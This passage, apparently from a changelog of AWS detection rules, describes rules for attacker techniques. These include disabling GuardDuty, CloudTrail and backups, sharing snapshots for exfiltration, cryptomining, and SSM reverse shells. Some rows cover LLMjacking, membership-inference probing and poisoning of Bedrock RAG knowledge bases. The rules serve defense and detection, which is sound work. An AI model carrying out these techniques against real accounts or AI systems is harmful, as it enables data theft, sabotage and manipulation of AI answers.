detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt. | update | 214 + +|<> | Identifies attempts to suppress or blind Amazon GuardDuty without deleting the detector outright. Adversaries with GuardDuty permissions can create or update a trusted IP set (CreateIPSet/UpdateIPSet) so that traffic from listed addresses is never flagged, tamper with the threat intelligence feed used to generate findings (CreateThreatIntelSet/UpdateThreatIntelSet), or soft-disable the detector via UpdateDetector with Enable set to false. All three techniques leave the detector itself intact, evading detections that only look for detector deletion. | update | 2 + +|<> | Detects attempts to disassociate or manipulate Amazon GuardDuty member accounts within an AWS organization. In multi-account GuardDuty deployments, a delegated administrator account aggregates findings from member accounts. Adversaries may attempt to disassociate member accounts, delete member relationships, stop monitoring members, or delete pending invitations to break this centralized visibility. These actions can be precursors to or alternatives for deleting GuardDuty detectors entirely, allowing attackers to operate undetected in member accounts while the administrator account loses visibility. This rule identifies successful API calls that manipulate GuardDuty member relationships, which are rare in normal operations and warrant immediate investigation. | update | 4 + +|<> | Detects the deletion of an Amazon GuardDuty publishing destination. Publishing destinations export GuardDuty findings to S3, Security Lake, or EventBridge for long-term retention and SIEM ingestion. An adversary with GuardDuty administrative access may delete a publishing destination to prevent findings from reaching external storage or a security operations center, reducing the visibility of their activity while leaving the GuardDuty detector active. | update | 2 + +|<> | Detects the deletion of an Amazon GuardDuty threat intelligence set. Threat intelligence sets are custom lists of known-malicious IP addresses or domains that GuardDuty uses to generate findings when monitored resources communicate with those indicators. Deleting a threat intel set degrades GuardDuty's detection capability for known adversary infrastructure, allowing communication with threat-actor-controlled IP ranges to go undetected. | update | 2 + +|<> | Identifies deletion of the AWS account password policy via DeleteAccountPasswordPolicy. The account password policy enforces minimum password requirements (length, complexity, rotation, and reuse) for all IAM users in the account. Deleting it removes those requirements account-wide, weakening authentication and easing follow-on credential-based attacks. This is an account-level change that legitimately occurs only during deliberate administration, so its deletion by an unexpected principal warrants review. | update | 2 + +|<> | Detects the first time an AWS identity successfully deletes an IAM managed policy whose ARN contains guardrail-related keywords (for example Boundary, Deny, Restrict, Guard, SCP, Guardrail). Adversaries who have obtained elevated IAM privileges may delete policies to remove restrictive permissions boundaries, eliminate deny-based guardrails, or clean up after a privilege escalation operation. Infrastructure-as-code tools (Terraform, CloudFormation, Pulumi, and Ansible) are excluded because policy lifecycle management is a routine part of automated deployments. A policy deletion by an identity not seen performing this activity during the prior seven days may indicate newly compromised credentials being used to modify the account's permission structure. | update | 2 + +|<> | Detects any attempt, successful or denied, for a member account to leave an AWS Organization via the LeaveOrganization API. Leaving an organization immediately strips the account of every Service Control Policy (SCP) guardrail the organization enforces, removes it from centralized CloudTrail aggregation, and eliminates the management account's ability to audit or control it going forward. An adversary who has gained root or organization-management-capable access in a member account may use this technique to escape organizational security controls and operate unmonitored. Denied attempts are included because a blocked call is just as strong a signal of intent as a successful one, and is often the only trace left when the account's default permissions correctly prevent the action. | update | 2 + +|<> | Identifies the restoration of an AWS RDS database instance from a snapshot or S3 backup. Adversaries with access to valid credentials may restore copies of existing databases to bypass logging and monitoring controls or to exfiltrate sensitive data from a duplicated environment. This rule detects successful restoration operations using "RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3", which may indicate unauthorized data access or post-compromise defense evasion. | update | 215 + +|<> | Identifies the deletion of an Amazon Route 53 Resolver Query Log Configuration. Resolver query logs provide critical visibility into DNS activity across VPCs, including lookups made by EC2 instances, containers, Lambda functions, and other AWS resources. Deleting a query log configuration immediately stops DNS query and response logging for the associated VPC. Adversaries may delete these configurations to evade detection, suppress forensic evidence, or degrade security monitoring capabilities. | update | 9 + +|<> | Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events. | update | 216 + +|<> | Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity. | update | 10 + +|<> | Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. | update | 10 + +|<> | Detects when AWS Security Hub is disabled in a region. Security Hub aggregates security findings from AWS services (GuardDuty, Inspector, Macie, IAM Access Analyzer) and third-party tools into a single pane of glass. Disabling it suppresses centralized finding aggregation and compliance checks, removing visibility into threats across the account. This action is a documented pre-ransomware and pre-exfiltration defense evasion technique. | update | 2 + +|<> | Identifies when an AWS Simple Queue Service (SQS) queue is purged. Purging an SQS queue permanently deletes all messages currently in the queue. Adversaries may use this action to disrupt application workflows, destroy operational data, or impair monitoring and alerting by removing messages that contain evidence of malicious activity. | update | 9 + +|<> | Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. | update | 9 + +|<> | Identifies when a specified inbound (ingress) rule is added or adjusted for a VPC security group in AWS EC2. This rule detects when a security group rule is added that allows traffic from any IP address or from a specific IP address to common remote access ports, such as 22 (SSH) or 3389 (RDP). Adversaries may add these rules to allow remote access to VPC instances from any location, increasing the attack surface and potentially exposing the instances to unauthorized access. | update | 9 + +|<> | Identifies the deletion of an AWS Web Application Firewall (WAF) Web ACL. Web ACLs are the core enforcement objects in AWS WAF, defining which traffic is inspected, allowed, or blocked for protected applications. Deleting a Web ACL removes all associated rules, protections, and logging configurations. Adversaries who obtain sufficient privileges may delete a Web ACL to disable critical security controls, evade detection, or prepare for downstream attacks such as web-application compromise, data theft, or resource abuse. Because Web ACLs are rarely deleted outside of controlled maintenance or infrastructure updates, unexpected deletions may indicate potential defense evasion. | update | 214 + +|<> | Identifies the deletion of an AWS Web Application Firewall (WAF) rule or rule group. WAF rules and rule groups enforce critical protections for web applications by filtering malicious HTTP requests, blocking known attack patterns, and enforcing access controls. Deleting these rules—even briefly—can expose applications to SQL injection, cross-site scripting, credential-stuffing bots, or targeted exploitation. Adversaries who have gained sufficient permissions may remove WAF protections as part of a broader defense evasion or impact strategy, often preceding data theft or direct application compromise. | update | 214 + +|<> | Detects enumeration of AWS Backup resources using long-term IAM access keys (AKIA* prefix). AWS Backup protects EC2 instances, EBS volumes, RDS databases, DynamoDB tables, EFS file systems, and S3 buckets. An adversary who obtains long-term access keys may enumerate backup vaults, backup plans, and protected resources as a precursor to ransomware. Identifying which resources have recent backups (indicating high-value data) and what vault access policies can be modified to delete or corrupt the backups before encrypting the primary data. | update | 2 + +|<> | Detects when an AWS principal using long-term IAM user credentials (AKIA* access key) enumerates available Bedrock foundation models and then invokes a model within the same 15-minute window. Most legitimate Bedrock workloads run under IAM roles with short-lived credentials; the combination of model enumeration followed by direct model invocation from a long-term IAM user key is unusual in production environments and consistent with an adversary using stolen credentials to discover and exploit available AI model capabilities. This pattern is associated with LLMjacking attacks where threat actors abuse compromised cloud credentials to run high-volume or high-cost model inference at the account owner's expense. | update | 2 + +|<> | Identifies when a user has queried for deprecated Amazon Machine Images (AMIs) in AWS. This may indicate an adversary looking for outdated AMIs that may be vulnerable to exploitation. While deprecated AMIs are not inherently malicious or indicative of a breach, they may be more susceptible to vulnerabilities and should be investigated for potential security risks. | update | 9 + +|<> | Identifies discovery request DescribeInstanceAttribute with the attribute userData and instanceId in AWS CloudTrail logs. This may indicate an attempt to retrieve user data from an EC2 instance. Adversaries may use this information to gather sensitive data from the instance such as hardcoded credentials or to identify potential vulnerabilities. This is a New Terms rule that identifies the first time an IAM user or role requests the user data for a specific EC2 instance. | update | 11 + +|<> | Detects repeated failed attempts to update an IAM role’s trust policy in an AWS account, consistent with role and user enumeration techniques. In this technique, an attacker who controls credentials in the current account repeatedly calls UpdateAssumeRolePolicy on a single role, cycling through guessed cross-account role or user ARNs as the principal. When those principals are invalid, IAM returns MalformedPolicyDocumentException, producing a burst of failed UpdateAssumeRolePolicy events. This rule alerts on that brute-force pattern originating from this account, which may indicate that the account is being used as attack infrastructure or that offensive tooling (such as Pacu) is running here. Note: this rule does not detect other accounts enumerating roles, because those API calls are logged in the caller’s account, not the target account. | update | 217 + +|<> | Detects when a single AWS resource is running multiple read-only, discovery API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. | update | 11 + +|<> | An adversary with access to a set of compromised credentials may attempt to verify that the credentials are valid and determine what account they are using. This rule looks for the first time an identity has called the STS GetCallerIdentity API, which may be an indicator of compromised credentials. A legitimate user would not need to perform this operation as they should know the account they are using. | update | 11 + +|<> | Identifies the first time an EC2 instance role session calls AWS STS GetCallerIdentity from a given source autonomous system (AS) organization name within the lookback window. Adversaries who steal instance role credentials often verify them with GetCallerIdentity from infrastructure outside your normal egress paths. Baseline learning on the pairing of identity and source network reduces noise from stable NAT or AWS-classified egress compared to alerting on every call from a non-Amazon ASN. | update | 2 + +|<> | Flags the first time a given IAM principal invokes a narrow set of high-signal discovery APIs (credential check, account and IAM enumeration, bucket and compute inventory, logging introspection) from a source IP whose autonomous system number (ASN) matches a curated set commonly associated with consumer VPN brands, VPN-heavy hosting, and provider networks referenced in public reporting on TeamPCP activity (for example 31173 Services AB AS39351 and Oy Crea Nova Hosting Solution Ltd). Broad `List*`/`Describe*` patterns are intentionally omitted to reduce noise. Hosting ASNs are heavily dual-use; validate `source.as.number` in your data and extend `event.action` only when your baseline allows it. | update | 3 + +|<> | Identifies when a single AWS principal makes GetServiceQuota API calls for the EC2 service quota L-1216C47A, across more than 10 AWS regions within a 30-second window. This quota represents the vCPU limit for on-demand EC2 instances. Adversaries commonly enumerate this quota across regions to assess capacity for large-scale instance deployment, including cryptocurrency mining, malware hosting, or command-and-control infrastructure. This behavior may indicate cloud infrastructure discovery using compromised credentials or a compromised workload. | update | 12 + +|<> | Detects enumeration of Amazon Simple Email Service (SES) resources using long-term IAM access keys (AKIA* prefix). Long-term access keys are associated with IAM users and are the credential type most commonly exfiltrated from repositories, configuration files, and environment variables. An adversary who obtains a long-term key may enumerate SES to discover verified email identities, sending quotas, and DKIM/MAIL FROM domain configurations as a precursor to phishing or spam campaigns launched from the compromised account's verified domains. | update | 2 + +|<> | Detects the rare occurrence of a user or role accessing AWS Systems Manager (SSM) inventory APIs or running the AWS-GatherSoftwareInventory job. These APIs reveal detailed information about managed EC2 instances including installed software, patch compliance status, and command execution history. Adversaries may use these calls to collect software inventory while blending in with legitimate AWS operations. This is a New Terms rule that detects when a user accesses these reconnaissance APIs for the first time. | update | 5 + +|<> | Detects the first time an AWS identity submits an AWS Batch job with a container command override ("containerOverrides.command"), indicating a runtime-modified execution environment. Command overrides allow the submitter to replace the default command of a job definition at submission time. This flexibility is commonly abused by adversaries to inject malicious commands or exfiltration logic into otherwise legitimate Batch compute environments without modifying the underlying job definition — making the malicious activity harder to detect through configuration review alone. | update | 2 + +|<> | Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. | update | 5 + +|<> | Identifies a short sequence of EC2 management APIs against the same instance that is consistent with modifying instance user data and forcing it to run on the next boot: `ModifyInstanceAttribute` with user data, followed by stop and start. Adversaries may update `userData` and cycle instance state so malicious scripts execute as root on Linux or as the system context on Windows. This rule correlates successful `StopInstances`, `StartInstances`, and `ModifyInstanceAttribute` events that reference `userData` within a five-minute window, grouped by instance, `user.name`, account, source IP, and user agent. A hit requires exactly three distinct API names in that bucket. | update | 2 + +|<> | Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code, dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and authorized. | update | 11 + +|<> | Identifies the first time within the prior 14 days that a principal directly invokes an AWS Lambda function in an account, excluding invocations made on behalf of AWS services (normal event-source triggers). Adversaries who compromise credentials or move laterally may directly invoke functions to execute code, retrieve data returned by a function, or abuse an over-permissioned execution role. Direct, ad hoc invocation by a principal that does not normally call Lambda deviates from the usual event-driven invocation pattern and is worth reviewing. This rule relies on AWS Lambda data event logging, which is not enabled by default. | update | 2 + +|<> | Identifies an AWS Lambda function invoked by a principal whose AWS account differs from the account that owns the function (a cross-account invocation). The caller's account is parsed from the invoking principal's ARN and compared to the function account. Adversaries who have been granted invoke permission on a function from an external account, or who operate from a separate attacker-controlled account, can use cross-account invocation to execute functions or retrieve the data they return. This is the data-plane counterpart to detecting the cross-account grant itself, and relies on AWS Lambda data event logging, which is not enabled by default. | update | 3 + +|<> | Identifies an AWS Lambda function invoked directly by a principal from a source network (ASN) not seen for that principal in the prior 10 days, excluding common cloud provider networks. Direct invocation from an unfamiliar external network can indicate use of stolen execution-role or user credentials from attacker-controlled infrastructure to execute functions or retrieve the data they return. This rule relies on AWS Lambda data event logging, which is not enabled by default. | update | 2 + +|<> | Identifies the modification of an AWS Lambda layer permission policy to grant another AWS account, an AWS Organization, or the public the ability to use a layer version. Lambda layers package code and dependencies that are loaded into the execution environment of any function that references them. Sharing a layer with an external account or with everyone can leak proprietary code or secrets bundled in the layer, and can serve as a supply-chain mechanism whereby downstream functions load attacker-influenced code. Layer sharing should be infrequent and deliberate, so newly granted external or public access warrants review. | update | 2 + +|<> | This rule detects the first time a principal calls AWS CloudFormation CreateStack, CreateStackSet or CreateStackInstances API. CloudFormation is used to create a collection of cloud resources called a stack, via a defined template file. An attacker with the appropriate privileges could leverage CloudFormation to create specific resources needed to further exploit the environment. This is a new terms rule that looks for the first instance of this behavior for a role or IAM user within a particular account. | update | 10 + +|<> | Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more. | update | 8 + +|<> | Detects the execution of commands or scripts on EC2 instances using AWS Systems Manager (SSM), such as RunShellScript, RunPowerShellScript or custom documents. While legitimate users may employ these commands for management tasks, they can also be exploited by attackers with credentials to establish persistence, install malware, or execute reverse shells for further access to compromised instances. This is a New Terms rule that looks for the first instance of this behavior by a user or role. | update | 217 + +|<> | Identifies an AWS principal performing a high volume of Amazon Bedrock inference API calls against a single model within a short window. Membership inference attacks require hundreds to thousands of statistically similar queries whose prompts and responses are intentionally content-benign, making guardrail- and content-based rules ineffective. This rule detects the high-frequency single-model probing pattern that precedes membership inference and related exfiltration via the inference API. It is a behavioral / volumetric precursor: it does not observe model confidence scores and a fixed call-count threshold only catches the loud variant, so paced, low-and-slow, or credential-distributed probing will evade it. Definitive membership inference detection requires ML anomaly analysis over per-entity inference-rate and response-distribution baselines. | update | 3 + +|<> | Identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. | update | 7 + +|<> | Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. | update | 9 + +|<> | Identifies an AWS Amazon Machine Image (AMI) being shared with another AWS account. Adversaries with access may share an AMI with an external AWS account as a means of data exfiltration. AMIs can contain secrets, bash histories, code artifacts, and other sensitive data that adversaries may abuse if shared with unauthorized accounts. AMIs can be made publicly available accidentally as well. | update | 10 + +|<> | Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation. | update | 11 + +|<> | Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. | update | 5 + +|<> | Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. | update | 214 + +|<> | Detects when an Amazon ECR repository or registry policy is modified to grant public access using a wildcard principal (Principal:"*") statement. This rule analyzes SetRepositoryPolicy and PutRegistryPolicy events whose policy document grants an Allow effect to a wildcard ("*") principal, indicating that pull (and potentially push) permissions were extended to all identities, including unauthenticated users. A public container registry can expose proprietary images and any secrets baked into their layers, and, if push is allowed, enables supply-chain implantation. Public ECR access is sometimes intentional for image distribution, so the granting principal and the permissions should be validated. | update | 2 + +|<> | Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. | update | 215 + +|<> | Identifies when an AWS RDS DB snapshot is shared with another AWS account or made public. DB snapshots contain complete backups of database instances, including schemas, table data, and sensitive application content. When shared externally, snapshots can be restored in another AWS environment, enabling unauthorized access, offline analysis, or data exfiltration. Adversaries who obtain valid credentials or exploit misconfigurations may modify snapshot attributes to grant access to accounts they control, bypassing network, IAM, and monitoring controls. | update | 9 + +|<> | Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. | update | 12 + +|<> | Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:"*") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:"*" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage. | update | 4 + +|<> | Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. | update | 11 + +|<> | Identifies AWS API activity originating from uncommon desktop client applications based on the user agent string. This rule detects S3 Browser and Cyberduck, which are graphical S3 management tools that provide bulk upload/download capabilities. While legitimate, these tools are rarely used in enterprise environments and have been observed in use by threat actors for data exfiltration. Any activity from these clients should be validated against authorized data transfer workflows. | update | 4 + +|<> | Identifies when a user subscribes to an SNS topic using a new protocol type (ie. email, http, lambda, etc.). SNS allows users to subscribe to recieve topic messages across a broad range of protocols like email, sms, lambda functions, http endpoints, and applications. Adversaries may subscribe to an SNS topic to collect sensitive information or exfiltrate data via an external email address, cross-account AWS service or other means. This rule identifies a new protocol subscription method for a particular user. | update | 12 + +|<> | Detects the closure of an AWS account via the CloseAccount API. This can be called either by the account itself (account.amazonaws.com, self-service closure) or by an AWS Organizations management account against one of its member accounts (organizations.amazonaws.com). Account closure triggers a 90-day grace period during which the account is suspended before permanent termination, and is one of the most destructive and disruptive actions available in AWS. It removes access to all resources and data in the account for the duration of the suspension. An adversary with root-level access in a member account, or management-level access to an organization, may close accounts to destroy evidence, disrupt business operations, or eliminate compute and data resources. A malicious insider could use the same action for sabotage. | update | 2 + +|<> | Identifies when an Amazon EventBridge rule is disabled or deleted. EventBridge rules are commonly used to automate operational workflows and security-relevant routing (for example, forwarding events to Lambda, SNS/SQS, or security tooling). Disabling or deleting a rule can break critical integrations, suppress detections, and reduce visibility. Adversaries may intentionally impair EventBridge rules to disrupt monitoring, delay response, or hide follow-on actions. | update | 215 + +|<> | Identifies a high number of failed S3 operations against a single bucket from a single source address within a short timeframe. This activity can indicate attempts to collect bucket objects or cause an increase in billing to an account via internal "AccessDenied" errors. | update | 10 + +|<> | Identifies deletion of an AWS Backup recovery point via DeleteRecoveryPoint. A recovery point is a stored backup of a protected resource (EBS, RDS, DynamoDB, EFS, S3, and others). Deleting recovery points removes the ability to restore the associated data and is a core anti-recovery technique used in ransomware and data-destruction attacks to ensure victims cannot recover without paying or rebuilding. Routine lifecycle expirations are performed by the AWS Backup service itself; deletion by a non-service principal is rare and should be reviewed. | update | 2 + +|<> | Identifies deletion of an AWS Backup vault or removal of its Vault Lock configuration via DeleteBackupVault or DeleteBackupVaultLockConfiguration. A backup vault stores recovery points, and Vault Lock enforces WORM (write-once, read-many) immutability that prevents recovery points from being deleted before their retention expires. Removing the lock defeats the primary control designed to stop ransomware from destroying backups, and deleting the vault removes the backup container entirely. Both actions are strong anti-recovery signals and are rare in normal operations. | update | 2 + +|<> | Identifies an Amazon Bedrock API key (bearer token) being used to perform a destructive or anti-recovery control-plane action, such as deleting a guardrail, deleting a custom or imported model, removing provisioned throughput, or disabling model invocation logging. Bedrock API keys are bearer credentials intended for model invocation (InvokeModel, Converse); using one to delete Bedrock resources or disable logging is inconsistent with that purpose and is characteristic of LLMjacking or sabotage following key theft. Every Bedrock API key call is identifiable in CloudTrail by "additionalEventData.callWithBearerToken" being true. The rule matches regardless of outcome, because a destructive attempt via a bearer token is suspicious even when denied. | update | 2 + +|<> | Detects control-plane mutations to AWS Bedrock knowledge bases and their backing RAG data sources via CloudTrail. An adversary with access to Bedrock Agent APIs can poison the corpus that RAG-enabled models treat as authoritative by ingesting attacker-controlled documents (IngestKnowledgeBaseDocuments, StartIngestionJob), deleting legitimate documents (DeleteKnowledgeBaseDocuments), or repointing/altering the data source itself (CreateDataSource, UpdateDataSource, DeleteDataSource, UpdateKnowledgeBase). Because downstream applications and users trust model answers grounded in this stored data, tampering with the corpus is a stored data manipulation that can drive misinformation, fraud, or manipulated decisions at inference time. This is a New Terms rule that looks for the first time a given identity ARN performs one of these knowledge base or data source mutations within the history window. | update | 2 + +|<> | Detects creation, modification, or deletion of AWS Bedrock Provisioned Model Throughput via the CreateProvisionedModelThroughput, UpdateProvisionedModelThroughput, and DeleteProvisionedModelThroughput APIs. Provisioned Throughput reserves dedicated, billed model capacity for Amazon Bedrock. An adversary who scales this capacity up can drive large, unauthorized cost (cloud resource/bill hijacking), while deleting reserved throughput can cause denial of service to production workloads that depend on that committed capacity. These control-plane changes should be validated against approved capacity-planning and change-management processes. | update | 2 + +|<> | Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. | update | 218 + +|<> | Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response. | update | 217 + +|<> | Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. | update | 217 + +|<> | Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. | update | 215 + +|<> | Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. | update | 9 + +|<> | Identifies a principal that, within a short window, both registers an Amazon ECS task definition using a public / non-ECR container image at a high CPU allocation (8 or 16 vCPU) AND launches ECS workloads (RunTask, StartTask, or CreateService). Registering a public miner image at maximum compute and then launching it is the ECS/Fargate cryptocurrency-mining deployment pattern seen after credential compromise. Requiring both the mining-signature registration and a launch by the same principal confirms an actual deployment rather than a standalone (possibly benign) task-definition registration, which sharply reduces false positives from high-compute workloads that are merely registered. | update | 2 + +|<> | Identifies the deletion of an Amazon EFS file system using the "DeleteFileSystem" API operation. Deleting an EFS file system permanently removes all stored data and cannot be reversed. This action is rare in most environments and typically limited to controlled teardown workflows. Adversaries with sufficient permissions may delete a file system to destroy evidence, disrupt workloads, or impede recovery efforts. | update | 214 + +|<> | Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. | update | 218 + +|<> | Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle. | update | 213 + +|<> | Identifies attempts to disable or schedule the deletion of an AWS customer managed KMS Key. Disabling or scheduling a KMS key for deletion removes the ability to decrypt data encrypted under that key and can permanently destroy access to critical resources. Adversaries may use these operations to cause irreversible data loss, disrupt business operations, impede incident response, or hide evidence of prior activity. Because KMS keys often protect sensitive or regulated data, any modification to their lifecycle should be considered highly sensitive and investigated promptly. | update | 115 + +|<> | Identifies deletion of imported key material from an AWS KMS customer managed key via DeleteImportedKeyMaterial. Keys created with an external key material origin (BYOK) rely on key material that the customer imports. Deleting that material immediately makes the key unusable and renders all data encrypted under it inaccessible, with no recovery window. Unlike ScheduleKeyDeletion, which enforces a pending deletion period of 7 to 30 days, this action takes effect instantly, making it an attractive primitive for cloud ransomware and data-destruction attacks. Because this operation only applies to external-origin keys and is rare in normal operations, its use by an unexpected principal warrants prompt review. | update | 2 + +|<> | Identifies the deletion of an AWS Lambda function. Deleting a function removes its code, configuration, versions, and aliases. Adversaries may delete functions to disrupt business operations and automated workflows, to destroy attacker-deployed backdoors and remove evidence after achieving their objective, or to inhibit incident response. Because function deletion is destructive and often irreversible without redeployment, deletions performed by unexpected principals or outside change windows should be reviewed. | update | 3 + +|<> | Identifies a single principal directly invoking AWS Lambda functions at a high volume within a one-hour window. Adversaries may drive excessive invocations to abuse functions for resource hijacking or cryptomining, to inflate costs in a denial-of-wallet attack, or to enumerate function behavior. This is a volumetric heuristic: the threshold is environment-dependent and high-throughput applications can exceed it, so tune it to the deployment. This rule relies on AWS Lambda data event logging, which is not enabled by default. | update | 3 + +|<> | Identifies the deletion of an Amazon RDS DB instance, Aurora cluster, or global database cluster. Deleting these resources permanently destroys stored data and can cause major service disruption. Adversaries with sufficient permissions may delete RDS resources to impede recovery, destroy evidence, or inflict operational impact on the environment. | update | 214 + +|<> | Identifies the modification of an AWS RDS DB instance or cluster to disable the deletionProtection feature. Deletion protection prevents accidental or unauthorized deletion of RDS resources. Adversaries with sufficient permissions may disable this protection as a precursor to destructive actions, including the deletion of databases containing sensitive or business-critical data. This rule alerts when deletionProtection is explicitly set to false on an RDS DB instance or cluster. | update | 11 + +|<> | Identifies the deletion of an AWS RDS DB snapshot or configuration changes that effectively remove backup coverage for a DB instance. RDS snapshots contain full backups of database instances, and disabling automated backups by setting "backupRetentionPeriod=0" has a similar impact by preventing future restore points. Adversaries with the appropriate permissions may delete snapshots or disable backups to inhibit recovery, destroy forensic evidence, or prepare for follow-on destructive actions such as instance or cluster deletion. | update | 10 